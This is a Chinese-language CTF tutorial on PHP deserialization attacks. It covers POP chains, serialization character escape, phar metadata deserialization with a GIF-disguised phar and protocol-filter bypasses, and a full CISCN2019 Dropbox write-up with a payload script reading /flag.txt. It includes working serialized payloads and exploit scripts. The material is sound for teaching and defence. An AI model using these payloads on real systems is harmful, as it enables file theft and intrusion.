我们的最终目标是获取flag.php中的flag信息,因此分析源代码信息,查看哪里可以获取到flag.php文件
发现在Modifier类中存在include($value),因此想到可以通过php伪协议来获取flag.php的信息
所以现在我们的目的就成了调用append函数
接着往下观察,发现__invoke函数调用了append函数,因此我们只要执行了__invoke函数一样可以获得flag信息,那该怎么执行__invoke函
数呢:

因此,此时我们应该使用别的函数来调用Modifier的一个对象,继续观察源代码发现只有test类的__get函数接收了参数值,因此我们就将Modifier对象传入到__get函数中,所以现在的目的就成了执行__get函数,那又该怎么执行__get函数呢:

所以此时就需要一个函数来调用test类中不存在的属性,这里要注意一下这行代码:$this->str->source,这里这么会有两个->呢,因为这里str就是test类的一个对象,然后调用test类的对象的soucre属性,但是这个属性在test类中并不存在,因此就会执行__get方法,所以现在我们就是要执行__toString函数,那我们又该如何执行__toString函数呢:

所以此时我们就需要通过执行show类的__construct函数来执行__toString函数并且__construct函数中的echo 'Welcome to '.$this->source."<br>"中的$this->source需要为对象才可以执行__toString函数,因此需要创建show类的对象和赋予$this->source对象。
分析完之后就需要根据分析过程来写脚本,脚本内容如下:
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
// ========== 构造链条 ==========
// 1. 创建最外层 Show 对象
// 触发 __construct,但此时 source 不是对象,不会触发 __toString
$a = new Show();
// 2. 关键:让 $a->source 也是一个 Show 对象
// 这样 echo 'Welcome to ' . $this->source 会触发 __toString
$a->source = new Show();
// 3. 让内层 Show 的 str 是 Test 对象
// 这样 $this->str->source 访问的是 Test 的不存在属性,触发 __get
$a->source->str = new Test();
// 4. 让 Test 的 p 是 Modifier 对象
// 这样 $function() 就是 Modifier 对象被当函数调用,触发 __invoke
$a->source->str->p = new Modifier();
// 5. 序列化并 URL 编码(protected 属性有 %00 需要编码)
echo urlencode(serialize($a));
#payload:O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
访问之后获得加密的flag.php文件,进行base64解密,结果如下:
flag.php文件:
PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFnezg1YmQ4NzVjLTNiNjktNGExOS05MTQ0LTRlYmM0NzlhYjZjNH0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+
解密后信息:

调用链分析
unserialize($_GET['pop'])
↓
[触发 __wakeup() 检查]
↓
如果 $this->source 是对象
↓
echo 'Welcome to ' . $this->source → 触发 __toString()
↓
return $this->str->source;
↓
如果 $this->str 是 Test 对象
且 Test 没有 source 属性
↓
触发 Test::__get('source')
↓
$function = $this->p;
return $function(); → 触发 __invoke()
↓
Modifier::__invoke()
↓
$this->append($this->var)
↓
include('php://filter/...')
逆向分析:为什么要这样套?
从目标点 include() 倒推,每一步解决"怎么触发上一个函数":
| 步骤 | 目标 | 需要触发 | 解决方案 |
|---|
| Step 4 | 执行 include() | 调用 append() | Modifier::__invoke() 调用 append() |
| Step 3 | 触发 __invoke() | 把对象当函数调用 | Test::__get() 中 return $function() |
| Step 2 | 触发 __get() | 访问不存在的属性 | Show::__toString() 中访问 $this->str->source |
| Step 1 | 触发 __toString() | echo 一个对象 | Show::__construct() 中 echo 'Welcome to ' . $this->source,让 $this->source 是 Show 对象 |
触发顺序:
反序列化 → echo 对象 → 访问不存在属性 → 对象当函数调 → include 文件
这个链条的精髓在于:每个类只负责把控制权传递给下一个类,像接力赛一样,最终把"执行任意代码"的能力传递到 Modifier::__invoke()。
2.4 PHPSerialize-labs
已经给大家部署好了
http://125.77.172.32:9090/
WP参考
https://gitcode.csdn.net/69bab6b754b52172bc625636.html#devmenu1
https://github.com/ProbiusOfficial/PHPSerialize-labs
3.反序列化字符逃逸
利用“序列化后再过滤”导致的长度错位,实现结构逃逸,从而篡改反序列化结果
3.1 前置知识
3.1.1 序列化格式规则
PHP 序列化核心结构:
s:长度:"内容";
对象结构:
O:类名长度:"类名":属性个数:{...}
解析依赖“长度字段”而不是实际字符串
3.1.2 解析终止规则
反序列化:
- 以
; 作为字段结束 - 以
} 作为对象结束 - 严格按长度读取内容
超出范围的数据:
会被忽略
不影响已解析部分
3.1.3 两个关键特性
特性1:可“提前闭合”
如果在字符串中插入:
";...;}
会导致:
反序列化提前结束,后面数据被丢弃
特性2:长度必须匹配
如果:
声明长度 ≠ 实际长度
结果:
unserialize() 失败
3.1.4 漏洞产生条件
必须满足
serialize() → filter() → unserialize()
且 filter 会:
3.2 替换后变长
示例代码:
<?php
function filter($str)
{
return str_replace('bb', 'ccc', $str);
}
class A
{
public $name = 'aaaabb';
public $pass = '123456';
}
$AA = new A();
echo serialize($AA) . "\n";
$res = filter(serialize($AA));
echo $res."\n";
$c=unserialize($res);
var_dump($c);
?>
这里我们的目的就是间接通过反序列化改变pass的值
漏洞点
$str = serialize($obj);
$str = filter($str); // 关键
unserialize($str);
过滤函数
str_replace('bb', 'ccc', $str);
变化:
bb (2) → ccc (3)
每次替换:
+1 字符
所以当name的值为aaaabb的时候,过滤完name的值是aaaaccc,七个字符,但是序列化字符串依然认为name的值是6个,所以根据上面前置知识的特性二,这里反序列化失败,var_dump($c)的结果是bool(false)
// 运行结果
O:1:"A":2:{s:4:"name";s:6:"aaaabb";s:4:"pass";s:6:"123456";}
O:1:"A":2:{s:4:"name";s:6:"aaaaccc";s:4:"pass";s:6:"123456";}
bool(false)
但是我们可以利用特性一去闭合,当我们让name的值为";s:4:"pass";s:6:"hacker";}
<?php
function filter($str)
{
return str_replace('bb', 'ccc', $str);
}
class A
{
public $name = '";s:4:"pass";s:6:"hacker";}';
public $pass = '123456';
}
$AA = new A();
echo serialize($AA) . "\n";
$res = filter(serialize($AA));
echo $res."\n";
$c=unserialize($res);
var_dump($c);
?>
// O:1:"A":2:{s:4:"name";s:27:"";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
// O:1:"A":2:{s:4:"name";s:27:"";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
// object(A)#2 (2) {
// ["name"]=>
// string(27) "";s:4:"pass";s:6:"hacker";}"
// ["pass"]=>
// string(6) "123456"
// }
可以看到";s:4:"pass";s:6:"hacker";}是27个字符串,所以我们使name的值为
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";},
来分析这27个bb,经过第一步序列化后为
O:1:"A":2:{s:4:"name";s:81:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
首先这里name的值的字符串数字为81,然后看到filter函数过滤后为
O:1:"A":2:{s:4:"name";s:81:"ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
变成了81个c,刚好就是原来让name的字符串个数81正确,而且;}可以在hacker后面闭合(图中箭头所指的;}),这符合了前置知识里面的两个特性,可以成功执行,然后后面的";s:4:"pass";s:6:"123456";}就可以废弃了,这便实现了间接修改了pass的值
注:这里序列化后
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}
是name的值,81个值
经过filter函数过滤后,前54个c就相当于54个b,多出来的27个字符c,把27个字符";s:4:"pass";s:6:"hacker";}顶到后面了,到这里序列化语句就因为;}截止了,且name的字符串数81为81个c,符合特性二,可以反序列化成功。后面";s:4:"pass";s:6:"123456";}被顶出去废弃了
<?php
function filter($str)
{
return str_replace('bb', 'ccc', $str);
}
class A
{
public $name = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}';
public $pass = '123456';
}
$AA = new A();
echo serialize($AA) . "\n";
$res = filter(serialize($AA));
echo $res."\n";
$c=unserialize($res);
var_dump($c);
?>
// O:1:"A":2:{s:4:"name";s:81:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
// O:1:"A":2:{s:4:"name";s:81:"ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
// object(A)#2 (2) {
// ["name"]=>
// string(81) "ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"
// ["pass"]=>
// string(6) "hacker"
// }
总结:这里其实就是利用了filter函数可以替换增加字符串,每增加一个bb,在过滤函数filter替换之后会多一个字符串,我们需要构造的payload: ";s:4:"pass";s:6:"hacker";}是27个字符串,所以我们加上27个bb是为了多出27个字符
3.3 替换后变短
替换之后导致序列化字符串变短
简单示例代码:
<?php
function str_rep($string){
return preg_replace( '/php|test/','', $string);
}
$test['name'] = $_GET['name'];
$test['sign'] = $_GET['sign'];
$test['number'] = '2020';
$temp = str_rep(serialize($test));
printf($temp);
$fake = unserialize($temp);
echo '<br>';
print("name:".$fake['name'].'<br>');
print("sign:".$fake['sign'].'<br>');
print("number:".$fake['number'].'<br>');
?>
这段代码是接收了参数name和sign,且number是固定的,经过了序列化=>正则匹配替换字符串减少=>反序列化的过程后输出结果,我们的目的就是通过控制传参name和sign,间接改变number
我们继续像上文一样构造在sign中传";s:6:"number";s:4:"2000";}看看闭合

这样子直接加入显然是不行的,由于sign的字符串个数为27,所以后面横线处的payload被当作了字符串sign的值,而没有被当作序列化语句去反序列化,所以我们还是需要过滤函数了给我们实现字符逃逸
构造payload:?name=testtesttesttesttesttest&sign=hello";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}

由于一共填写了6个test,所以name的长度就是24,所以在sign处随便写点什么来凑数,让上图所示部分长度是24即可。当test被替换掉之后,就正好让反序列化的规则满足了。
3.4 实战-level 18
http://125.77.172.32:9090/Level18/index.php
wp可以参考
https://gitcode.csdn.net/69bab6b754b52172bc625636.html#devmenu9
4.phar反序列化
利用 phar:// 协议触发 PHP 自动反序列化 PHAR 文件中的 metadata,从而在没有 unserialize() 的情况下实现反序列化攻击
4.1 为什么会有这个漏洞?
4.1.1 PHAR 的本质
Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。
默认开启版本 PHP version >= 5.3
PHAR 可以理解为一种“打包文件”,类似 zip,但支持存储元数据(metadata)
关键:
metadata 是通过 serialize() 存储的
这就埋下了漏洞
4.1.2 自动反序列化机制
当使用:
file_get_contents("phar://xxx");
PHP 会:
- 解析 phar 文件
- 自动反序列化 metadata ❗
不需要调用 unserialize()
4.2 PHAR 文件结构
4.2.1 关键四部分
| 部分 | 作用 |
|---|
| stub | 文件头(必须有 __HALT_COMPILER();) |
| manifest | 包含 metadata(序列化数据) |
| content | 文件内容 |
| signature | 签名(可选) |
一个phar文件由四部分构成:
a stub
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
| Size in bytes | Description |
|---|
| 4 bytes | Length of manifest in bytes (1 MB limit) |
| 4 bytes | Number of files in the Phar |
| 2 bytes | API version of the Phar manifest (currently 1.0.0) |
| 4 bytes | Global Phar bitmapped flags |
| 4 bytes | Length of Phar alias |
| ?? | Phar alias (length based on previous) |
| 4 bytes | Length of Phar metadata (0 for none) |
| ?? | Serialized Phar Meta-data, stored in serialize() format(注意这一条!) |
| at least 24 * number of entries bytes | entries for each file |
the file contents
被压缩文件的内容。
[optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾,格式如下:
| Length in bytes | Description |
|---|
| varying | The actual signature, 20 bytes for an SHA1 signature, 16 bytes for an MD5 signature, 32 bytes for an SHA256 signature, and 64 bytes for an SHA512 signature. The length of an OPENSSL signature depends on the size of the private key. |
| 4 bytes | Signature flags. 0x0001 is used to define an MD5 signature, 0x0002 is used to define an SHA1 signature, 0x0003 is used to define an SHA256 signature, and 0x0004 is used to define an SHA512 signature. The SHA256 and SHA512 signature support is available as of API version 1.1.0. 0x0010 is used to define an OPENSSL signature, what is available as of API version 1.1.1, if OpenSSL is available. |
| 4 bytes | Magic GBMB used to define the presence of a signature. |
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
4.2.2 攻击核心
manifest → metadata → serialize 数据
4.3 触发点
只要使用了 phar://,以下函数都会触发反序列化:
file_get_contents()
file_exists()
is_file()
fopen()
readfile()
copy()
unlink()
stat()
本质:
文件操作函数 = 反序列化触发器
4.4 利用流程
攻击链
构造恶意对象
→ 写入 PHAR metadata
→ 上传 PHAR
→ 触发 phar:// 文件操作
→ 自动反序列化
→ 触发魔术方法(RCE/读文件)
4.5 构造恶意 PHAR
生成脚本
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
<?php
class TestObject {
public function __destruct() {
echo "pwned";
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
// stub(必须)
$phar->setStub("<?php __HALT_COMPILER(); ?>");
// 写入恶意对象(关键)
$phar->setMetadata(new TestObject());
// 添加文件(随便写)
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
触发漏洞
<?php
class TestObject {
public function __destruct() {
echo "pwned";
}
}
$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>

自动发生:
metadata → unserialize → __destruct()
4.6 绕过上传:伪装文件类型
4.6.1 原理
PHP 判断 PHAR:
只看 stub 中的 __HALT_COMPILER()
不看后缀
4.6.2 伪装成图片
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
// 查看文件类型,可以看到被识别为图片
// abc@9a0d8215ec46:~/workspace$ file phar.phar
// phar.phar: GIF image data, version 89a, 16188 x 26736
文件会被识别为:
GIF 图片
4.6.3 效果
phar.phar → phar.gif
绕过:
采用这种方法可以绕过很大一部分上传检测。
漏洞利用条件
- phar文件要能够上传到服务器端。
- 要有可用的魔术方法作为“跳板”。
- 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
4.7 绕过phar协议过滤
当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://等绕过
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
4.8 [CISCN2019 华北赛区 Day1 Web1]Dropbox
题目环境:
https://buuoj.cn/challenges

进入题目后是一个登录框,可以注册,所以先注册进去看看先不试试注入

可以看到有上传文件和文件删除文件下载功能,自然就试试能不能文件下载flag文件

但是读不到,就先查看index.php文件
不过要注意的是,文件都放在上上级目录了

<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
<!DOCTYPE html>
<html>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>
<head>
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<link href="static/css/panel.css" rel="stylesheet">
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
<script src="static/js/panel.js"></script>
</head>
<body>
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item active">管理面板</li>
<li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
<li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
</ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
查看删除部分的代码,发现还有个delete.php文件

delete文件
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
根据提示查看class.php文件

class.php代码:
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {#把 $this->results 里的数据拼成一个 HTML 表格并输出出来。
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
现在我们获取了delete.php和class.php,我们来分析用户在提交filename=img.png代码的执行流程
先看delete处理的关键代码
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
delete实例化了一个File的对象file,然后将用户传递进来的filename(也就是img.png)转为字符串传给$filename。
然后进入if判断,判断filename的长度是否小于40,以及调用file里的open方法检测文件是否存在,存在返回true。
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
然后进入if里,核心就是调用file的delete()方法!
public function detele() {
unlink($this->filename);
}
也就是最终通过unlink删除用户传递进去的文件,注意unlink是可以触发phar的反序列化的!
所以我们可以传入phar文件,等到unlink的时候触发反序列化。
不过这里传入的时候需要改下phar文件的后缀为图片文件,因为upload.php会检测是否是图片
upload.php代码:
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
include "class.php";
if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$pos = strrpos($filename, ".");
if ($pos !== false) {
$filename = substr($filename, 0, $pos);
}
$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
case 'image/png':
$fileext = ".png";
break;
default:
$response = array("success" => false, "error" => "Only gif/jpg/png allowed");
Header("Content-type: application/json");
echo json_encode($response);
die();
}
if (strlen($filename) < 40 && strlen($filename) !== 0) {
$dst = $_SESSION['sandbox'] . $filename . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
$response = array("success" => true, "error" => "");
Header("Content-type: application/json");
echo json_encode($response);
} else {
$response = array("success" => false, "error" => "Invaild filename");
Header("Content-type: application/json");
echo json_encode($response);
}
}
?>
但是没关系!我们刚才讲过PHP 判断 PHAR:
只看 stub 中的 __HALT_COMPILER()
不看后缀,所以我们可以在本地构造好POP链,将对象作为meta-data存到phar的manifest。
所以接下里的构造重点就是,找到一条链子,能够实现对flag的读取。
查看几个文件,发现delete.php里,有潜在的利用点file_get_contents
public function close() {
return file_get_contents($this->filename);
}
这个利用点 file_get_contents 没有对关键字进行过滤,所以我们肯定是利用这个函数来获取flag 。
首先是定义的 close 函数,我们跳转到哪里调用了这个close()
跟进代码,看到是User类 的__destrust() 调用了 close()
public function __destruct() {
$this->db->close();
}
简单的逻辑 就是: User->__destruct() =>File -> close() -> 读取flag。
在User->__destruct()里可以链到File->colse()。现在我们已经可以拿到flag了,但是怎么回显呢
class.php 有一个 __call() 方法可以使用
public function __call($func, $args) {
// 当调用一个“当前类不存在的方法”时触发
// $func = 被调用的方法名(例如 close)
// $args = 传入的参数(这里基本没用)
array_push($this->funcs, $func);
// 把调用的方法名记录下来
// 例如:调用 close() → funcs = ["close"]
// 后面 __destruct() 会用它来生成表头
foreach ($this->files as $file) {
// 遍历 files 数组(里面是 File 对象)
$this->results[$file->name()][$func] = $file->$func();
// 核心代码(最重要的一行):
// ① $file->name()
// → 获取文件名(作为 results 的 key),实际上跟进下File类的name()方法可以看到,就是File类的filename这个属性的值
// ② $file->$func()
// → 动态调用方法(比如 $func = "close")
// → 实际执行:File->close()
// ③ 把返回值存入 results:
// results[文件名][方法名] = 返回值
// 在利用中等价于:
// results["flag.txt"]["close"] = file_get_contents("/flag.txt")
}
}
在利用链里的作用
调用 FileList的close()方法
↓
FileList 没有close() → 进入 __call
↓
转发给 File->close()
↓
执行 file_get_contents()
↓
结果存入 $results
如果我们让:
那么$this->db->close()就变成了FileList->close()。
FileList类也没有close方法,所以会触发__call("close", [])!
__call这个魔术方法的主要功能就是,如果要调用的方法我们这个类中不存在,就会去File中找这个方法,并把执行结果存入 $this->results[$file->name()][$func]。
刚好我们利用这一点:让 $db 为 FileList 对象,当 $db销毁时,触发 __destruct,调用close(),由于 FileList没有这个方法,于是去 File类中找方法,读取到文件,存入 results。
现在是光存入了results,怎么显示在页面上呢,来看下FileList 对象的 __destruct
public function __destruct() {#把 $this->results 里的数据拼成一个 HTML 表格并输出出来。
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
FileList 这个类本来的作用:就是“列出目录里的文件,并按不同属性生成一个表格展示”。
页面结束的时候触发 __destruct()
echo 表格
最终页面显示:
| Name | Size | 操作 |
|---|
| file1.txt | 1KB | 下载/删除 |
| file2.jpg | 2KB | 下载/删除 |
所以我们可以利用这个析构函数,将获取保存在result的flag打印在页面上!
完整的利用链搞清楚了,也就是
// 利用链思路
$user -> __destruct() => $db -> close() => $db->__call(close) => $file -> close() =>$results=file_get_contents($filename) => FileList->__destruct()输出$result。
// 通过delete.php将结果返回
__destruct正好会将 $this->results[$file->name()][$func]的内容打印出来
调用链
User对象 (db = FileList对象)
└── __destruct() 调用 $this->db->close()
↓
FileList对象 (没有close方法)
└── __call("close", []) 被触发
└── 遍历 $this->files
└── 调用 $file->close() ← $file是File对象,filename="/flag.txt"
└── file_get_contents("/flag.txt") 读取flag!
└── 返回flag内容
└── 结果存入 $this->results
└── 脚本结束,FileList->__destruct()
└── 遍历输出 $this->results,flag被显示在表格中!
完整调用链:
phar://触发 → User还原 → User.__destruct() → FileList.__call('close')
↓
File.close()读flag
↓
存入results数组
↓
FileList.__destruct()输出
生成payload
<?php
class User {
public $db;
}
class FileList {
private $files;
public function __construct() {
$this->files = array(new File());
}
}
class File {
public $filename = '/flag.txt';
}
// 构造对象关系
$b = new FileList();
$c = new User();
$c->db = $b;
// 创建 phar
$phar = new Phar('test.phar');
$phar->startBuffering();
// 图片伪装(GIF 文件头)
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>");
// 添加内容(随便写)
$phar->addFromString('test.txt', 'text');
// 写入 payload
$phar->setMetadata($c);//将对象c写入到metadata中
$phar->stopBuffering();
修改后缀为.gif然后上传

抓取delete.php的数据包,修改post提交的数据,然后得到flag

5.session反序列化
5.1 前置知识
理解php的session之前先了解一下session是什么
5.1.1 Session
在计算机中,尤其是在网络应用中,称为“会话控制”(Session Control)。Session对象用于存储特定用户在一次会话过程中所需的属性及配置信息(本质是服务端状态管理机制)。这样,当用户在应用程序的Web页之间跳转时,存储在Session对象中的变量将不会丢失,而是在整个用户会话中一直存在下去(即跨请求保持状态)。
当用户请求来自应用程序的 Web页时,如果该用户还没有会话,则Web服务器将自动创建一个 Session对象,并为其分配唯一标识(Session ID)。当会话过期或被主动放弃后,服务器将终止该会话并销毁相关数据。Session 对象最常见的一个用法就是存储用户的首选项或登录状态。例如,如果用户指明不喜欢查看图形,就可以将该信息存储在Session对象中。不过需要注意,不同语言或框架的会话机制在实现细节上可能有所不同(如存储方式、序列化机制等)。
5.1.2 PHP session:
可以看做是一个特殊的变量($_SESSION 超全局数组),用于存储关于用户会话的信息,或者更改用户会话的设置。需要注意的是,PHP Session 变量是以键值对形式存储单一用户的数据,并且对于应用程序中的所有页面都是可用的(前提是 session 已开启)。
同时,其对应的具体 session 值是存储于服务器端(通常为文件),这也是与 Cookie 的主要区别(Cookie 存储在客户端)。因此在一般情况下,session 的安全性相对较高,但这并不意味着绝对安全——一旦 session 数据被污染或解析异常,就可能引发安全问题(如反序列化漏洞)。
5.1.3 session的工作流程:
当第一次访问网站时,session_start() 函数就会创建一个唯一的 Session ID(通常为一串随机字符串),并自动通过 HTTP 响应头(Set-Cookie),将这个 Session ID 保存到客户端 Cookie 中(默认键名为 PHPSESSID)。
同时,服务器端也会创建一个以 Session ID 命名的文件(如 sess_xxxxx),用于保存该用户的会话信息(内容通常为序列化后的数据)。
当同一个用户再次访问该网站时,浏览器会自动通过 HTTP 请求头(Cookie)将之前保存的 Session ID 一并携带过来。这时 session_start() 函数就不会再去分配一个新的 Session ID,而是在服务器的存储路径中查找与该 Session ID 同名的 session 文件,并读取其中的内容,将这之前为该用户保存的会话信息恢复到当前运行环境中,从而达到用户身份跟踪与状态保持的目的。
5.1.4 session_start() 的作用:
当会话自动开始或者通过 session_start() 手动开始时,PHP 内部会依据客户端传来的 PHPSESSID 来定位对应的会话数据(即 session 文件)。随后,PHP 会执行以下关键步骤:
- 根据
PHPSESSID 查找对应 session 文件 - 读取文件内容
- 自动对内容进行反序列化(核心行为)
- 将反序列化结果填充到
$_SESSION 超级全局变量中
如果不存在对应的会话数据,则会创建名为 sess_<PHPSESSID> 的新文件。如果客户端未发送 PHPSESSID,则会生成一个新的(通常为32位随机字符串)Session ID,并通过 Set-Cookie 返回给客户端。
PHP 在 session_start() 时会“自动反序列化 session 数据”,这一行为正是后续 Session 反序列化漏洞的根本触发点。
5.1.5 php.ini 中的 Session 配置
